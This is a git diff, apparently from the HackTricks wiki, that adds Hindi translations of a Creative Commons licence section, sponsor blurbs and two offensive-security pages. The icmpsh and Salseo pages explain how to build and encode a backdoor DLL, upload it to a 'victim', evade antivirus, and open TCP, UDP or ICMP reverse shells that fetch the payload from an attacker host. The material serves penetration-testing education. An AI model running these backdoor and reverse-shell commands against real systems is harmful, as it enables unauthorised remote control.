v. लाइसेंस प्राप्त सामग्री का एक URI या हाइपरलिंक यथासंभव व्यावहारिक रूप से;
|
||||
|
||||
B. यह संकेत करें कि आपने लाइसेंस प्राप्त सामग्री में संशोधन किया है और किसी भी पूर्व संशोधन का संकेत बनाए रखें; और
|
||||
|
||||
C. यह संकेत करें कि लाइसेंस प्राप्त सामग्री इस Public License के तहत लाइसेंस प्राप्त है, और इस Public License के पाठ या URI या हाइपरलिंक को शामिल करें।
|
||||
C. यह संकेत करें कि लाइसेंस प्राप्त सामग्री इस सार्वजनिक लाइसेंस के तहत लाइसेंस प्राप्त है, और इस सार्वजनिक लाइसेंस के पाठ या URI या हाइपरलिंक को शामिल करें।
|
||||
|
||||
2. आप धारा 3(a)(1) में शर्तों को किसी भी उचित तरीके से पूरा कर सकते हैं जो उस माध्यम, साधन, और संदर्भ पर आधारित है जिसमें आप लाइसेंस प्राप्त सामग्री साझा करते हैं। उदाहरण के लिए, यह उचित हो सकता है कि आवश्यक जानकारी शामिल करने वाले संसाधन के लिए एक URI या हाइपरलिंक प्रदान करके शर्तों को पूरा किया जाए।
|
||||
2. आप अनुभाग 3(a)(1) में शर्तों को किसी भी उचित तरीके से पूरा कर सकते हैं जो उस माध्यम, साधन, और संदर्भ पर आधारित है जिसमें आप लाइसेंस प्राप्त सामग्री साझा करते हैं। उदाहरण के लिए, यह उचित हो सकता है कि आवश्यक जानकारी शामिल करने वाले संसाधन के लिए एक URI या हाइपरलिंक प्रदान करके शर्तों को पूरा किया जाए।
|
||||
|
||||
3. यदि लाइसेंसधारक द्वारा अनुरोध किया गया, तो आपको यथासंभव व्यावहारिक रूप से धारा 3(a)(1)(A) द्वारा आवश्यक किसी भी जानकारी को हटाना चाहिए।
|
||||
3. यदि लाइसेंस देने वाले द्वारा अनुरोध किया गया, तो आपको अनुभाग 3(a)(1)(A) द्वारा आवश्यक किसी भी जानकारी को यथासंभव व्यावहारिक रूप से हटाना चाहिए।
|
||||
|
||||
4. यदि आप साझा करते हैं Adapted Material जो आप उत्पन्न करते हैं, तो आप जो Adapter's License लागू करते हैं वह Adapted Material के प्राप्तकर्ताओं को इस Public License का पालन करने से रोकना नहीं चाहिए।
|
||||
4. यदि आप साझा करते हैं अनुकूलित सामग्री जो आप उत्पन्न करते हैं, तो आप जो एडाप्टर का लाइसेंस लागू करते हैं वह अनुकूलित सामग्री के प्राप्तकर्ताओं को इस सार्वजनिक लाइसेंस का पालन करने से नहीं रोकना चाहिए।
|
||||
|
||||
## Section 4 – Sui Generis Database Rights.
|
||||
## अनुभाग 4 – Sui Generis Database Rights।
|
||||
|
||||
जहाँ लाइसेंस प्राप्त अधिकारों में Sui Generis Database Rights शामिल हैं जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होते हैं:
|
||||
जहां लाइसेंस प्राप्त अधिकारों में Sui Generis Database Rights शामिल हैं जो आपकी लाइसेंस प्राप्त सामग्री के उपयोग पर लागू होते हैं:
|
||||
|
||||
a. संदेह से बचने के लिए, धारा 2(a)(1) आपको लाइसेंस प्राप्त सामग्री के सभी या एक महत्वपूर्ण भाग की सामग्री को केवल NonCommercial उद्देश्यों के लिए निकालने, पुन: उपयोग करने, पुनरुत्पादित करने, और साझा करने का अधिकार देती है;
|
||||
a. संदेह से बचने के लिए, अनुभाग 2(a)(1) आपको केवल गैर-व्यावसायिक उद्देश्यों के लिए डेटाबेस की सभी या एक महत्वपूर्ण मात्रा में सामग्री को निकालने, पुन: उपयोग करने, पुनरुत्पादित करने, और साझा करने का अधिकार देता है;
|
||||
|
||||
b. यदि आप अपने Sui Generis Database Rights वाले डेटाबेस में सभी या एक महत्वपूर्ण भाग की सामग्री शामिल करते हैं, तो जिस डेटाबेस में आपके पास Sui Generis Database Rights हैं (लेकिन इसकी व्यक्तिगत सामग्री नहीं) वह Adapted Material है; और
|
||||
b. यदि आप अपने Sui Generis Database Rights वाले डेटाबेस में डेटाबेस की सभी या एक महत्वपूर्ण मात्रा में सामग्री शामिल करते हैं, तो आप जिस डेटाबेस में Sui Generis Database Rights रखते हैं (लेकिन इसकी व्यक्तिगत सामग्री नहीं) वह अनुकूलित सामग्री है; और
|
||||
|
||||
c. यदि आप डेटाबेस की सभी या एक महत्वपूर्ण भाग की सामग्री साझा करते हैं, तो आपको धारा 3(a) में शर्तों का पालन करना चाहिए।
|
||||
c. यदि आप डेटाबेस की सभी या एक महत्वपूर्ण मात्रा में सामग्री साझा करते हैं, तो आपको अनुभाग 3(a) में शर्तों का पालन करना चाहिए।
|
||||
|
||||
संदेह से बचने के लिए, यह धारा 4 आपके इस Public License के तहत अन्य कॉपीराइट और समान अधिकारों के तहत आपके दायित्वों को पूरक करती है और प्रतिस्थापित नहीं करती है।
|
||||
संदेह से बचने के लिए, यह अनुभाग 4 आपके इस सार्वजनिक लाइसेंस के तहत अन्य कॉपीराइट और समान अधिकारों के तहत आपके दायित्वों को पूरक करता है और प्रतिस्थापित नहीं करता है।
|
||||
|
||||
## Section 5 – Disclaimer of Warranties and Limitation of Liability.
|
||||
## अनुभाग 5 – वारंटी का अस्वीकरण और जिम्मेदारी की सीमा।
|
||||
|
||||
a. **जब तक लाइसेंसधारक द्वारा अलग से Undertaken न किया गया हो, यथासंभव, लाइसेंसधारक लाइसेंस प्राप्त सामग्री को जैसा है और उपलब्ध के रूप में प्रदान करता है, और लाइसेंस प्राप्त सामग्री के बारे में किसी भी प्रकार की कोई भी प्रस्तुति या वारंटी नहीं देता है, चाहे वह स्पष्ट, निहित, वैधानिक, या अन्य हो। इसमें, बिना किसी सीमा के, शीर्षक, व्यापारिकता, विशेष उद्देश्य के लिए उपयुक्तता, गैर-उल्लंघन, छिपे हुए या अन्य दोषों की अनुपस्थिति, सटीकता, या त्रुटियों की उपस्थिति या अनुपस्थिति, चाहे ज्ञात हो या खोजी जा सकें, शामिल हैं। जहाँ वारंटी के अस्वीकरण पूरी या आंशिक रूप से अनुमति नहीं है, यह अस्वीकरण आपके लिए लागू नहीं हो सकता है।**
|
||||
a. **जब तक लाइसेंस देने वाले द्वारा अलग से Undertaken न किया गया हो, यथासंभव, लाइसेंस देने वाला लाइसेंस प्राप्त सामग्री को जैसा है और उपलब्ध है, और लाइसेंस प्राप्त सामग्री के बारे में किसी भी प्रकार की कोई प्रतिनिधित्व या वारंटी नहीं देता है, चाहे वह स्पष्ट, निहित, वैधानिक, या अन्य हो। इसमें, बिना किसी सीमा के, शीर्षक, व्यापारिकता, विशेष उद्देश्य के लिए उपयुक्तता, गैर-उल्लंघन, छिपे हुए या अन्य दोषों की अनुपस्थिति, सटीकता, या त्रुटियों की उपस्थिति या अनुपस्थिति, चाहे ज्ञात हो या खोजी जा सकें, की वारंटी शामिल है। जहां वारंटी के अस्वीकरण को पूरी तरह से या आंशिक रूप से अनुमति नहीं दी जाती है, यह अस्वीकरण आपके लिए लागू नहीं हो सकता है।**
|
||||
|
||||
b. **यथासंभव, किसी भी कानूनी सिद्धांत (जिसमें, बिना किसी सीमा के, लापरवाही) या अन्यथा, लाइसेंसधारक आपके लिए किसी भी प्रत्यक्ष, विशेष, अप्रत्यक्ष, आकस्मिक, परिणामी, दंडात्मक, उदाहरणात्मक, या अन्य हानियों, लागतों, व्यय, या नुकसान के लिए जिम्मेदार नहीं होगा जो इस Public License या लाइसेंस प्राप्त सामग्री के उपयोग से उत्पन्न होते हैं, भले ही लाइसेंसधारक को ऐसे नुकसान, लागत, व्यय, या हानियों की संभावना के बारे में सूचित किया गया हो। जहाँ जिम्मेदारी की सीमा पूरी या आंशिक रूप से अनुमति नहीं है, यह सीमा आपके लिए लागू नहीं हो सकती है।**
|
||||
b. **यथासंभव, किसी भी कानूनी सिद्धांत (जिसमें, बिना किसी सीमा के, लापरवाही) या अन्यथा के तहत, लाइसेंस देने वाला किसी भी स्थिति में आपके प्रति जिम्मेदार नहीं होगा (जिसमें, बिना किसी सीमा के, लापरवाही) या अन्यथा इस सार्वजनिक लाइसेंस या लाइसेंस प्राप्त सामग्री के उपयोग से उत्पन्न किसी भी प्रत्यक्ष, विशेष, अप्रत्यक्ष, आकस्मिक, परिणामी, दंडात्मक, उदाहरणात्मक, या अन्य हानियों, लागतों, व्यय, या क्षति के लिए, भले ही लाइसेंस देने वाले को ऐसे हानियों, लागतों, व्यय, या क्षति की संभावना के बारे में सूचित किया गया हो। जहां जिम्मेदारी की सीमा को पूरी तरह से या आंशिक रूप से अनुमति नहीं दी जाती है, यह सीमा आपके लिए लागू नहीं हो सकती है।**
|
||||
|
||||
c. उपरोक्त प्रदान किया गया वारंटी का अस्वीकरण और जिम्मेदारी की सीमा इस प्रकार व्याख्यायित की जाएगी कि, यथासंभव, यह सभी जिम्मेदारी का एक पूर्ण अस्वीकरण और परित्याग के सबसे निकटतम रूप में हो।
|
||||
c. उपरोक्त प्रदान किया गया वारंटी का अस्वीकरण और जिम्मेदारी की सीमा इस तरह से व्याख्यायित की जाएगी कि, यथासंभव, यह सभी जिम्मेदारी का एक पूर्ण अस्वीकरण और माफी के सबसे निकटतम रूप में हो।
|
||||
|
||||
## Section 6 – Term and Termination.
|
||||
## अनुभाग 6 – अवधि और समाप्ति।
|
||||
|
||||
a. यह Public License यहाँ लाइसेंस प्राप्त कॉपीराइट और समान अधिकारों की अवधि के लिए लागू होता है। हालाँकि, यदि आप इस Public License का पालन करने में विफल रहते हैं, तो इस Public License के तहत आपके अधिकार स्वचालित रूप से समाप्त हो जाते हैं।
|
||||
a. यह सार्वजनिक लाइसेंस यहाँ लाइसेंस प्राप्त कॉपीराइट और समान अधिकारों की अवधि के लिए लागू होता है। हालाँकि, यदि आप इस सार्वजनिक लाइसेंस का पालन करने में विफल रहते हैं, तो आपके अधिकार इस सार्वजनिक लाइसेंस के तहत स्वचालित रूप से समाप्त हो जाते हैं।
|
||||
|
||||
b. जहाँ आपके लाइसेंस प्राप्त सामग्री का उपयोग करने का अधिकार धारा 6(a) के तहत समाप्त हो गया है, यह पुनर्स्थापित होता है:
|
||||
b. जहां आपके लाइसेंस प्राप्त सामग्री का उपयोग करने का अधिकार अनुभाग 6(a) के तहत समाप्त हो गया है, यह पुनर्स्थापित होता है:
|
||||
|
||||
1. स्वचालित रूप से उस दिन से जब उल्लंघन को ठीक किया गया, बशर्ते कि यह आपके उल्लंघन की खोज के 30 दिनों के भीतर ठीक किया गया हो; या
|
||||
1. स्वचालित रूप से उस दिन से जब उल्लंघन को ठीक किया जाता है, बशर्ते कि यह आपके उल्लंघन की खोज के 30 दिनों के भीतर ठीक किया जाए; या
|
||||
|
||||
2. लाइसेंसधारक द्वारा स्पष्ट पुनर्स्थापना पर।
|
||||
2. लाइसेंस देने वाले द्वारा स्पष्ट पुनर्स्थापन पर।
|
||||
|
||||
संदेह से बचने के लिए, यह धारा 6(b) लाइसेंसधारक के आपके इस Public License के उल्लंघनों के लिए उपचार की मांग करने के किसी भी अधिकार को प्रभावित नहीं करती है।
|
||||
संदेह से बचने के लिए, यह अनुभाग 6(b) आपके इस सार्वजनिक लाइसेंस के उल्लंघनों के लिए उपायों की मांग करने के लिए लाइसेंस देने वाले के किसी भी अधिकार को प्रभावित नहीं करता है।
|
||||
|
||||
c. संदेह से बचने के लिए, लाइसेंसधारक किसी भी समय अलग शर्तों या शर्तों के तहत लाइसेंस प्राप्त सामग्री की पेशकश कर सकता है या लाइसेंस प्राप्त सामग्री का वितरण बंद कर सकता है; हालाँकि, ऐसा करने से इस Public License की समाप्ति नहीं होगी।
|
||||
c. संदेह से बचने के लिए, लाइसेंस देने वाला किसी भी समय अलग शर्तों या शर्तों के तहत लाइसेंस प्राप्त सामग्री की पेशकश कर सकता है या लाइसेंस प्राप्त सामग्री का वितरण बंद कर सकता है; हालाँकि, ऐसा करने से इस सार्वजनिक लाइसेंस की समाप्ति नहीं होगी।
|
||||
|
||||
d. धारा 1, 5, 6, 7, और 8 इस Public License की समाप्ति के बाद भी जीवित रहती हैं।
|
||||
d. अनुभाग 1, 5, 6, 7, और 8 इस सार्वजनिक लाइसेंस की समाप्ति के बाद भी जीवित रहते हैं।
|
||||
|
||||
## Section 7 – Other Terms and Conditions.
|
||||
## अनुभाग 7 – अन्य शर्तें और शर्तें।
|
||||
|
||||
a. लाइसेंसधारक किसी भी अतिरिक्त या भिन्न शर्तों या शर्तों से बंधा नहीं होगा जो आप द्वारा संप्रेषित की गई हैं जब तक कि स्पष्ट रूप से सहमति न दी गई हो।
|
||||
a. लाइसेंस देने वाला किसी भी अतिरिक्त या भिन्न शर्तों या शर्तों से बंधा नहीं होगा जो आप द्वारा संप्रेषित की गई हैं जब तक कि स्पष्ट रूप से सहमति न दी गई हो।
|
||||
|
||||
b. लाइसेंस प्राप्त सामग्री के संबंध में यहाँ उल्लिखित कोई भी व्यवस्था, समझौते, या सहमतियाँ इस Public License की शर्तों और शर्तों से अलग और स्वतंत्र हैं।
|
||||
b. लाइसेंस प्राप्त सामग्री के संबंध में यहां उल्लिखित कोई भी व्यवस्था, समझौते, या सहमतियाँ इस सार्वजनिक लाइसेंस की शर्तों और शर्तों से अलग और स्वतंत्र हैं।
|
||||
|
||||
## Section 8 – Interpretation.
|
||||
## अनुभाग 8 – व्याख्या।
|
||||
|
||||
a. संदेह से बचने के लिए, यह Public License किसी भी उपयोग को कम नहीं करता है, सीमित नहीं करता है, प्रतिबंधित नहीं करता है, या लाइसेंस प्राप्त सामग्री के किसी भी उपयोग पर शर्तें नहीं लगाता है जो इस Public License के तहत अनुमति के बिना वैध रूप से किया जा सकता है।
|
||||
a. संदेह से बचने के लिए, यह सार्वजनिक लाइसेंस किसी भी उपयोग को कम नहीं करता है, सीमित नहीं करता है, प्रतिबंधित नहीं करता है, या इस सार्वजनिक लाइसेंस के तहत अनुमति के बिना लाइसेंस प्राप्त सामग्री के किसी भी उपयोग पर शर्तें नहीं लगाता है।
|
||||
|
||||
b. यथासंभव, यदि इस Public License का कोई प्रावधान लागू नहीं किया जा सकता है, तो इसे लागू करने के लिए आवश्यक न्यूनतम सीमा तक स्वचालित रूप से सुधारित किया जाएगा। यदि प्रावधान को सुधारित नहीं किया जा सकता है, तो इसे इस Public License से अलग किया जाएगा बिना शेष शर्तों और शर्तों की लागूता को प्रभावित किए।
|
||||
b. यथासंभव, यदि इस सार्वजनिक लाइसेंस का कोई प्रावधान लागू नहीं किया गया है, तो इसे लागू करने के लिए आवश्यक न्यूनतम सीमा तक स्वचालित रूप से सुधारित किया जाएगा। यदि प्रावधान को सुधारित नहीं किया जा सकता है, तो इसे इस सार्वजनिक लाइसेंस से अलग किया जाएगा बिना शेष शर्तों और शर्तों की लागूता को प्रभावित किए।
|
||||
|
||||
c. इस Public License की कोई भी शर्त या शर्त माफ नहीं की जाएगी और अनुपालन की कोई विफलता सहमति नहीं दी जाएगी जब तक कि लाइसेंसधारक द्वारा स्पष्ट रूप से सहमति न दी गई हो।
|
||||
c. इस सार्वजनिक लाइसेंस की कोई भी शर्त या स्थिति माफ नहीं की जाएगी और अनुपालन की कोई विफलता सहमति नहीं दी जाएगी जब तक कि लाइसेंस देने वाले द्वारा स्पष्ट रूप से सहमति न दी गई हो।
|
||||
|
||||
d. इस Public License में कुछ भी लाइसेंसधारक या आपके लिए लागू होने वाले किसी भी विशेषाधिकार और छूटों पर एक सीमा या परित्याग के रूप में स्थापित नहीं करता है, जिसमें किसी भी क्षेत्राधिकार या प्राधिकरण की कानूनी प्रक्रियाओं से छूट शामिल है।
|
||||
d. इस सार्वजनिक लाइसेंस में कुछ भी लाइसेंस देने वाले या आपके लिए लागू होने वाले किसी भी विशेषाधिकार और छूटों पर कोई सीमा या माफी नहीं बनाता है, जिसमें किसी भी क्षेत्राधिकार या प्राधिकरण की कानूनी प्रक्रियाओं से छूट शामिल है।
|
||||
```
|
||||
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
||||
|
||||
|
||||
@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
|
||||
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
@ -94,7 +94,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
|
||||
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
|
||||
|
||||
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
|
||||
अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
|
||||
@ -123,9 +123,9 @@ SerpApi की योजनाओं में से एक की सदस्
|
||||
|
||||
WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका मतलब है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
|
||||
|
||||
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वासी है**, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएंगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर जाएं!
|
||||
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएंगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर जाएं!
|
||||
|
||||
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।**
|
||||
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है।
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
||||
@ -868,3 +868,4 @@
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,31 +1,25 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
बैकडोर डाउनलोड करें: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Client side
|
||||
# क्लाइंट साइड
|
||||
|
||||
Execute the script: **run.sh**
|
||||
|
||||
**If you get some error, try to change the lines:**
|
||||
स्क्रिप्ट चलाएँ: **run.sh**
|
||||
|
||||
**यदि आपको कुछ त्रुटि मिलती है, तो पंक्तियों को बदलने की कोशिश करें:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
|
||||
**For:**
|
||||
|
||||
**के लिए:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **पीड़ित पक्ष**
|
||||
|
||||
# **Victim Side**
|
||||
|
||||
Upload **icmpsh.exe** to the victim and execute:
|
||||
|
||||
**icmpsh.exe** को पीड़ित पर अपलोड करें और निष्पादित करें:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,159 +2,142 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Compiling the binaries
|
||||
## बाइनरी संकलन
|
||||
|
||||
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
|
||||
गिटहब से स्रोत कोड डाउनलोड करें और **EvilSalsa** और **SalseoLoader** संकलित करें। आपको कोड संकलित करने के लिए **Visual Studio** स्थापित करने की आवश्यकता होगी।
|
||||
|
||||
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
|
||||
उन परियोजनाओं को उस विंडोज बॉक्स की आर्किटेक्चर के लिए संकलित करें जहाँ आप उनका उपयोग करने जा रहे हैं (यदि विंडोज x64 का समर्थन करता है तो उन्हें उस आर्किटेक्चर के लिए संकलित करें)।
|
||||
|
||||
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
|
||||
आप **Visual Studio** में **बाएं "Build" टैब** में **"Platform Target"** के अंदर **आर्किटेक्चर का चयन** कर सकते हैं।
|
||||
|
||||
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
|
||||
(\*\*यदि आप ये विकल्प नहीं ढूंढ पा रहे हैं तो **"Project Tab"** पर क्लिक करें और फिर **"\<Project Name> Properties"** पर क्लिक करें)
|
||||
|
||||
.png>)
|
||||
|
||||
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
||||
फिर, दोनों परियोजनाओं का निर्माण करें (Build -> Build Solution) (लॉग के अंदर निष्पादन योग्य का पथ दिखाई देगा):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Prepare the Backdoor
|
||||
## बैकडोर तैयार करें
|
||||
|
||||
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
|
||||
सबसे पहले, आपको **EvilSalsa.dll** को एन्कोड करने की आवश्यकता होगी। ऐसा करने के लिए, आप पायथन स्क्रिप्ट **encrypterassembly.py** का उपयोग कर सकते हैं या आप परियोजना **EncrypterAssembly** को संकलित कर सकते हैं:
|
||||
|
||||
### **Python**
|
||||
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
|
||||
### Windows
|
||||
|
||||
### विंडोज
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
ठीक है, अब आपके पास Salseo चीज़ों को निष्पादित करने के लिए सब कुछ है: **encoded EvilDalsa.dll** और **SalseoLoader का बाइनरी।**
|
||||
|
||||
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
|
||||
**SalseoLoader.exe बाइनरी को मशीन पर अपलोड करें। उन्हें किसी भी AV द्वारा नहीं पहचाना जाना चाहिए...**
|
||||
|
||||
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
|
||||
## **बैकडोर निष्पादित करें**
|
||||
|
||||
## **Execute the backdoor**
|
||||
|
||||
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
|
||||
|
||||
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
|
||||
### **TCP रिवर्स शेल प्राप्त करना (HTTP के माध्यम से encoded dll डाउनलोड करना)**
|
||||
|
||||
याद रखें कि रिवर्स शेल लिस्नर के रूप में nc शुरू करें और encoded evilsalsa को सर्व करने के लिए एक HTTP सर्वर शुरू करें।
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **UDP रिवर्स शेल प्राप्त करना (SMB के माध्यम से एन्कोडेड dll डाउनलोड करना)**
|
||||
|
||||
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
|
||||
|
||||
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
|
||||
|
||||
याद रखें कि रिवर्स शेल लिस्नर के रूप में एक nc शुरू करें, और एन्कोडेड evilsalsa (impacket-smbserver) को सर्व करने के लिए एक SMB सर्वर शुरू करें।
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **ICMP रिवर्स शेल प्राप्त करना (विक्टिम के अंदर पहले से एन्कोडेड dll)**
|
||||
|
||||
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
|
||||
|
||||
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Disable ICMP Replies:**
|
||||
**इस बार आपको क्लाइंट में रिवर्स शेल प्राप्त करने के लिए एक विशेष उपकरण की आवश्यकता है। डाउनलोड करें:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **ICMP उत्तर बंद करें:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
|
||||
#### Execute the client:
|
||||
|
||||
#### क्लाइंट को निष्पादित करें:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
||||
#### Inside the victim, lets execute the salseo thing:
|
||||
|
||||
#### पीड़ित के अंदर, चलो salseo चीज़ को निष्पादित करते हैं:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## SalseoLoader को DLL के रूप में संकलित करना जो मुख्य फ़ंक्शन को निर्यात करता है
|
||||
|
||||
## Compiling SalseoLoader as DLL exporting main function
|
||||
Visual Studio का उपयोग करके SalseoLoader प्रोजेक्ट खोलें।
|
||||
|
||||
Open the SalseoLoader project using Visual Studio.
|
||||
|
||||
### Add before the main function: \[DllExport]
|
||||
### मुख्य फ़ंक्शन से पहले जोड़ें: \[DllExport]
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Install DllExport for this project
|
||||
### इस प्रोजेक्ट के लिए DllExport स्थापित करें
|
||||
|
||||
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
|
||||
#### **DllExport पैकेज के लिए खोजें (Browse टैब का उपयोग करते हुए), और Install दबाएं (और पॉपअप को स्वीकार करें)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
|
||||
आपके प्रोजेक्ट फ़ोल्डर में फ़ाइलें प्रकट हुई हैं: **DllExport.bat** और **DllExport_Configure.bat**
|
||||
|
||||
### **U**ninstall DllExport
|
||||
|
||||
